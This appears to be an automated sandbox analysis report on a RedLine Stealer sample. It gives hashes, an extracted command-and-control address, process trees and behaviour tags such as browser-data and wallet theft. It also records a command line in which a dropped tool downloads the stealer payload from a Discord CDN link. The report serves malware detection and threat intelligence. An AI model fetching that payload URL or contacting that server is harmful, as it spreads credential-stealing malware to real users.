Analysis
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max time kernel
33s -
max time network
76s -
platform
windows7_x64 -
resource
win7v20210408 -
submitted
23-08-2021 16:35
Static task
static1
Behavioral task
behavioral1
Sample
e16f915796d4762014fc3864d4444ac3.exe
Resource
win7v20210408
General
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Target
e16f915796d4762014fc3864d4444ac3.exe
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Size
449KB
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MD5
e16f915796d4762014fc3864d4444ac3
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SHA1
819364784cf0d3fe440b6c9a3950de7fa093e805
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SHA256
65dee75f5d4f0d7e0c1065a689ebe79f67c87a4d3d9654193164128e859a0ddd
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SHA512
1c3721ebe22c1e9b9b5f51926d9e1bd1d26fca9b57f25161afefdeca9bdb3a1551fb4931fdbbe16df59c43c8a4eaa2131ab508a97a39cd6ddaf04003d9adca2a
Malware Config
Extracted
redline
@soul3ss
188.130.139.12:30376
Signatures
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RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
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RedLine Payload 2 IoCs
Processes:
resource yara_rule C:\Users\Admin\AppData\Local\Temp\17161\soul3ss.exe family_redline C:\Users\Admin\AppData\Local\Temp\17161\soul3ss.exe family_redline -
Downloads MZ/PE file
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Executes dropped EXE 5 IoCs
Processes:
extd.exeextd.exeextd.exesoul3ss.exeextd.exepid process 2024 extd.exe 1232 extd.exe 2000 extd.exe 1452 soul3ss.exe 1652 extd.exe -
Processes:
resource yara_rule \Users\Admin\AppData\Local\Temp\6E2E.tmp\6E2F.tmp\extd.exe upx \Users\Admin\AppData\Local\Temp\6E2E.tmp\6E2F.tmp\extd.exe upx C:\Users\Admin\AppData\Local\Temp\6E2E.tmp\6E2F.tmp\extd.exe upx C:\Users\Admin\AppData\Local\Temp\6E2E.tmp\6E2F.tmp\extd.exe upx \Users\Admin\AppData\Local\Temp\6E2E.tmp\6E2F.tmp\extd.exe upx \Users\Admin\AppData\Local\Temp\6E2E.tmp\6E2F.tmp\extd.exe upx C:\Users\Admin\AppData\Local\Temp\6E2E.tmp\6E2F.tmp\extd.exe upx \Users\Admin\AppData\Local\Temp\6E2E.tmp\6E2F.tmp\extd.exe upx \Users\Admin\AppData\Local\Temp\6E2E.tmp\6E2F.tmp\extd.exe upx C:\Users\Admin\AppData\Local\Temp\6E2E.tmp\6E2F.tmp\extd.exe upx \Users\Admin\AppData\Local\Temp\6E2E.tmp\6E2F.tmp\extd.exe upx \Users\Admin\AppData\Local\Temp\6E2E.tmp\6E2F.tmp\extd.exe upx C:\Users\Admin\AppData\Local\Temp\6E2E.tmp\6E2F.tmp\extd.exe upx -
Loads dropped DLL 8 IoCs
Processes:
cmd.exepid process 2016 cmd.exe 2016 cmd.exe 2016 cmd.exe 2016 cmd.exe 2016 cmd.exe 2016 cmd.exe 2016 cmd.exe 2016 cmd.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
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Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
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Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
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Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
Processes:
soul3ss.exepid process 1452 soul3ss.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
soul3ss.exepid process 1452 soul3ss.exe 1452 soul3ss.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
soul3ss.exedescription pid process Token: SeDebugPrivilege 1452 soul3ss.exe -
Suspicious use of WriteProcessMemory 19 IoCs
Processes:
e16f915796d4762014fc3864d4444ac3.execmd.exedescription pid process target process PID 1628 wrote to memory of 2016 1628 e16f915796d4762014fc3864d4444ac3.exe cmd.exe PID 1628 wrote to memory of 2016 1628 e16f915796d4762014fc3864d4444ac3.exe cmd.exe PID 1628 wrote to memory of 2016 1628 e16f915796d4762014fc3864d4444ac3.exe cmd.exe PID 2016 wrote to memory of 2024 2016 cmd.exe extd.exe PID 2016 wrote to memory of 2024 2016 cmd.exe extd.exe PID 2016 wrote to memory of 2024 2016 cmd.exe extd.exe PID 2016 wrote to memory of 1232 2016 cmd.exe extd.exe PID 2016 wrote to memory of 1232 2016 cmd.exe extd.exe PID 2016 wrote to memory of 1232 2016 cmd.exe extd.exe PID 2016 wrote to memory of 2000 2016 cmd.exe extd.exe PID 2016 wrote to memory of 2000 2016 cmd.exe extd.exe PID 2016 wrote to memory of 2000 2016 cmd.exe extd.exe PID 2016 wrote to memory of 1452 2016 cmd.exe soul3ss.exe PID 2016 wrote to memory of 1452 2016 cmd.exe soul3ss.exe PID 2016 wrote to memory of 1452 2016 cmd.exe soul3ss.exe PID 2016 wrote to memory of 1452 2016 cmd.exe soul3ss.exe PID 2016 wrote to memory of 1652 2016 cmd.exe extd.exe PID 2016 wrote to memory of 1652 2016 cmd.exe extd.exe PID 2016 wrote to memory of 1652 2016 cmd.exe extd.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\e16f915796d4762014fc3864d4444ac3.exe"C:\Users\Admin\AppData\Local\Temp\e16f915796d4762014fc3864d4444ac3.exe"1⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd" /c "C:\Users\Admin\AppData\Local\Temp\6E2E.tmp\6E2F.tmp\6E30.bat C:\Users\Admin\AppData\Local\Temp\e16f915796d4762014fc3864d4444ac3.exe"2⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Local\Temp\6E2E.tmp\6E2F.tmp\extd.exeC:\Users\Admin\AppData\Local\Temp\6E2E.tmp\6E2F.tmp\extd.exe "/hideself" "" "" "" "" "" "" "" ""3⤵
- Executes dropped EXE
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C:\Users\Admin\AppData\Local\Temp\6E2E.tmp\6E2F.tmp\extd.exeC:\Users\Admin\AppData\Local\Temp\6E2E.tmp\6E2F.tmp\extd.exe "/random" "9000000" "" "" "" "" "" "" ""3⤵
- Executes dropped EXE
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C:\Users\Admin\AppData\Local\Temp\6E2E.tmp\6E2F.tmp\extd.exeC:\Users\Admin\AppData\Local\Temp\6E2E.tmp\6E2F.tmp\extd.exe "/download" "https://cdn.discordapp.com/attachments/879335227095416884/879356613826314250/soul3ss.exe" "soul3ss.exe" "" "" "" "" "" ""3⤵
- Executes dropped EXE
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C:\Users\Admin\AppData\Local\Temp\17161\soul3ss.exesoul3ss.exe3⤵
- Executes dropped EXE
- Suspicious behavior: CmdExeWriteProcessMemorySpam
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Users\Admin\AppData\Local\Temp\6E2E.tmp\6E2F.tmp\extd.exeC:\Users\Admin\AppData\Local\Temp\6E2E.tmp\6E2F.tmp\extd.exe "/sleep" "9000009" "" "" "" "" "" "" ""3⤵
- Executes dropped EXE
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
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Downloads
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C:\Users\Admin\AppData\Local\Temp\17161\soul3ss.exeMD5
411ca7ba89ae45e92f9ed4663f903335
SHA16360b07844800b8e6e6e2b11ee3c8d051c4a2e96
SHA2566780a257463d037daff9f626aecee2347177edfb0851ee12d33ba225ab38f009
SHA512bfd58e96af22f17fab2cff4b360d79621b738128c61f01420963a1119d27320eb97a64fef42819e9ea7ffab39289f19b82f8911e227236435a87151d55d9e754
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C:\Users\Admin\AppData\Local\Temp\17161\soul3ss.exeMD5
411ca7ba89ae45e92f9ed4663f903335
SHA16360b07844800b8e6e6e2b11ee3c8d051c4a2e96
SHA2566780a257463d037daff9f626aecee2347177edfb0851ee12d33ba225ab38f009
SHA512bfd58e96af22f17fab2cff4b360d79621b738128c61f01420963a1119d27320eb97a64fef42819e9ea7ffab39289f19b82f8911e227236435a87151d55d9e754
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C:\Users\Admin\AppData\Local\Temp\6E2E.tmp\6E2F.tmp\6E30.batMD5
80c531ee85457cb0cf79db505e2de1b6
SHA192234cc2e7b97bc87b04beb6484e3d476964607d
SHA256fc1d08e6e961418909613fb4eeb40fc3c145f01d44254f0be63cc59a98675098
SHA512b98e2026a7a8f9062dbe9ea7674fdadb8124cbb3cb7a79426d2192601516f6686b6b8e35ba1ad4793f90a4c01088d040e7c83422e65b72ce5bbe3e52d425deab
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C:\Users\Admin\AppData\Local\Temp\6E2E.tmp\6E2F.tmp\extd.exeMD5
b019efc4814c7a73b1413a335be1fa13
SHA16e093c94cfa4a0fe25e626875f2b06a5cbc622d2
SHA256a13ac752c70e4bbd3cd8a58c48d41a7d80946ad2a92780ee26f47100a01e345e
SHA512d8eae2f4e64ffd4cc3e6398a0e69aa54f7cc98a461d515cb7d8d9606b65c1bb1d70ff1a1cbbb6b84291898fe5d8926b908fdf46ed22ab5d8fc52a6c60bc7120b
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C:\Users\Admin\AppData\Local\Temp\6E2E.tmp\6E2F.tmp\extd.exeMD5
b019efc4814c7a73b1413a335be1fa13
SHA16e093c94cfa4a0fe25e626875f2b06a5cbc622d2
SHA256a13ac752c70e4bbd3cd8a58c48d41a7d80946ad2a92780ee26f47100a01e345e
SHA512d8eae2f4e64ffd4cc3e6398a0e69aa54f7cc98a461d515cb7d8d9606b65c1bb1d70ff1a1cbbb6b84291898fe5d8926b908fdf46ed22ab5d8fc52a6c60bc7120b
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C:\Users\Admin\AppData\Local\Temp\6E2E.tmp\6E2F.tmp\extd.exeMD5
b019efc4814c7a73b1413a335be1fa13
SHA16e093c94cfa4a0fe25e626875f2b06a5cbc622d2
SHA256a13ac752c70e4bbd3cd8a58c48d41a7d80946ad2a92780ee26f47100a01e345e
SHA512d8eae2f4e64ffd4cc3e6398a0e69aa54f7cc98a461d515cb7d8d9606b65c1bb1d70ff1a1cbbb6b84291898fe5d8926b908fdf46ed22ab5d8fc52a6c60bc7120b
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C:\Users\Admin\AppData\Local\Temp\6E2E.tmp\6E2F.tmp\extd.exeMD5
b019efc4814c7a73b1413a335be1fa13
SHA16e093c94cfa4a0fe25e626875f2b06a5cbc622d2
SHA256a13ac752c70e4bbd3cd8a58c48d41a7d80946ad2a92780ee26f47100a01e345e
SHA512d8eae2f4e64ffd4cc3e6398a0e69aa54f7cc98a461d515cb7d8d9606b65c1bb1d70ff1a1cbbb6b84291898fe5d8926b908fdf46ed22ab5d8fc52a6c60bc7120b
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C:\Users\Admin\AppData\Local\Temp\6E2E.tmp\6E2F.tmp\extd.exeMD5
b019efc4814c7a73b1413a335be1fa13
SHA16e093c94cfa4a0fe25e626875f2b06a5cbc622d2
SHA256a13ac752c70e4bbd3cd8a58c48d41a7d80946ad2a92780ee26f47100a01e345e
SHA512d8eae2f4e64ffd4cc3e6398a0e69aa54f7cc98a461d515cb7d8d9606b65c1bb1d70ff1a1cbbb6b84291898fe5d8926b908fdf46ed22ab5d8fc52a6c60bc7120b
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\Users\Admin\AppData\Local\Temp\6E2E.tmp\6E2F.tmp\extd.exeMD5
b019efc4814c7a73b1413a335be1fa13
SHA16e093c94cfa4a0fe25e626875f2b06a5cbc622d2
SHA256a13ac752c70e4bbd3cd8a58c48d41a7d80946ad2a92780ee26f47100a01e345e
SHA512d8eae2f4e64ffd4cc3e6398a0e69aa54f7cc98a461d515cb7d8d9606b65c1bb1d70ff1a1cbbb6b84291898fe5d8926b908fdf46ed22ab5d8fc52a6c60bc7120b
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\Users\Admin\AppData\Local\Temp\6E2E.tmp\6E2F.tmp\extd.exeMD5
b019efc4814c7a73b1413a335be1fa13
SHA16e093c94cfa4a0fe25e626875f2b06a5cbc622d2
SHA256a13ac752c70e4bbd3cd8a58c48d41a7d80946ad2a92780ee26f47100a01e345e
SHA512d8eae2f4e64ffd4cc3e6398a0e69aa54f7cc98a461d515cb7d8d9606b65c1bb1d70ff1a1cbbb6b84291898fe5d8926b908fdf46ed22ab5d8fc52a6c60bc7120b
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\Users\Admin\AppData\Local\Temp\6E2E.tmp\6E2F.tmp\extd.exeMD5
b019efc4814c7a73b1413a335be1fa13
SHA16e093c94cfa4a0fe25e626875f2b06a5cbc622d2
SHA256a13ac752c70e4bbd3cd8a58c48d41a7d80946ad2a92780ee26f47100a01e345e
SHA512d8eae2f4e64ffd4cc3e6398a0e69aa54f7cc98a461d515cb7d8d9606b65c1bb1d70ff1a1cbbb6b84291898fe5d8926b908fdf46ed22ab5d8fc52a6c60bc7120b
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\Users\Admin\AppData\Local\Temp\6E2E.tmp\6E2F.tmp\extd.exeMD5
b019efc4814c7a73b1413a335be1fa13
SHA16e093c94cfa4a0fe25e626875f2b06a5cbc622d2
SHA256a13ac752c70e4bbd3cd8a58c48d41a7d80946ad2a92780ee26f47100a01e345e
SHA512d8eae2f4e64ffd4cc3e6398a0e69aa54f7cc98a461d515cb7d8d9606b65c1bb1d70ff1a1cbbb6b84291898fe5d8926b908fdf46ed22ab5d8fc52a6c60bc7120b
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\Users\Admin\AppData\Local\Temp\6E2E.tmp\6E2F.tmp\extd.exeMD5
b019efc4814c7a73b1413a335be1fa13
SHA16e093c94cfa4a0fe25e626875f2b06a5cbc622d2
SHA256a13ac752c70e4bbd3cd8a58c48d41a7d80946ad2a92780ee26f47100a01e345e
SHA512d8eae2f4e64ffd4cc3e6398a0e69aa54f7cc98a461d515cb7d8d9606b65c1bb1d70ff1a1cbbb6b84291898fe5d8926b908fdf46ed22ab5d8fc52a6c60bc7120b
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\Users\Admin\AppData\Local\Temp\6E2E.tmp\6E2F.tmp\extd.exeMD5
b019efc4814c7a73b1413a335be1fa13
SHA16e093c94cfa4a0fe25e626875f2b06a5cbc622d2
SHA256a13ac752c70e4bbd3cd8a58c48d41a7d80946ad2a92780ee26f47100a01e345e
SHA512d8eae2f4e64ffd4cc3e6398a0e69aa54f7cc98a461d515cb7d8d9606b65c1bb1d70ff1a1cbbb6b84291898fe5d8926b908fdf46ed22ab5d8fc52a6c60bc7120b
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\Users\Admin\AppData\Local\Temp\6E2E.tmp\6E2F.tmp\extd.exeMD5
b019efc4814c7a73b1413a335be1fa13
SHA16e093c94cfa4a0fe25e626875f2b06a5cbc622d2
SHA256a13ac752c70e4bbd3cd8a58c48d41a7d80946ad2a92780ee26f47100a01e345e
SHA512d8eae2f4e64ffd4cc3e6398a0e69aa54f7cc98a461d515cb7d8d9606b65c1bb1d70ff1a1cbbb6b84291898fe5d8926b908fdf46ed22ab5d8fc52a6c60bc7120b
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\Users\Admin\AppData\Local\Temp\6E2E.tmp\6E2F.tmp\extd.exeMD5
b019efc4814c7a73b1413a335be1fa13
SHA16e093c94cfa4a0fe25e626875f2b06a5cbc622d2
SHA256a13ac752c70e4bbd3cd8a58c48d41a7d80946ad2a92780ee26f47100a01e345e
SHA512d8eae2f4e64ffd4cc3e6398a0e69aa54f7cc98a461d515cb7d8d9606b65c1bb1d70ff1a1cbbb6b84291898fe5d8926b908fdf46ed22ab5d8fc52a6c60bc7120b
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memory/1232-71-0x0000000000000000-mapping.dmp
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memory/1452-80-0x0000000000000000-mapping.dmp
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memory/1452-87-0x0000000000A50000-0x0000000000A51000-memory.dmpFilesize
4KB
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memory/1452-89-0x0000000004A20000-0x0000000004A21000-memory.dmpFilesize
4KB
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memory/1628-60-0x000007FEFC031000-0x000007FEFC033000-memory.dmpFilesize
8KB
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memory/1652-84-0x0000000000000000-mapping.dmp
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memory/2000-76-0x0000000000000000-mapping.dmp
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memory/2016-61-0x0000000000000000-mapping.dmp
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memory/2024-66-0x0000000000000000-mapping.dmp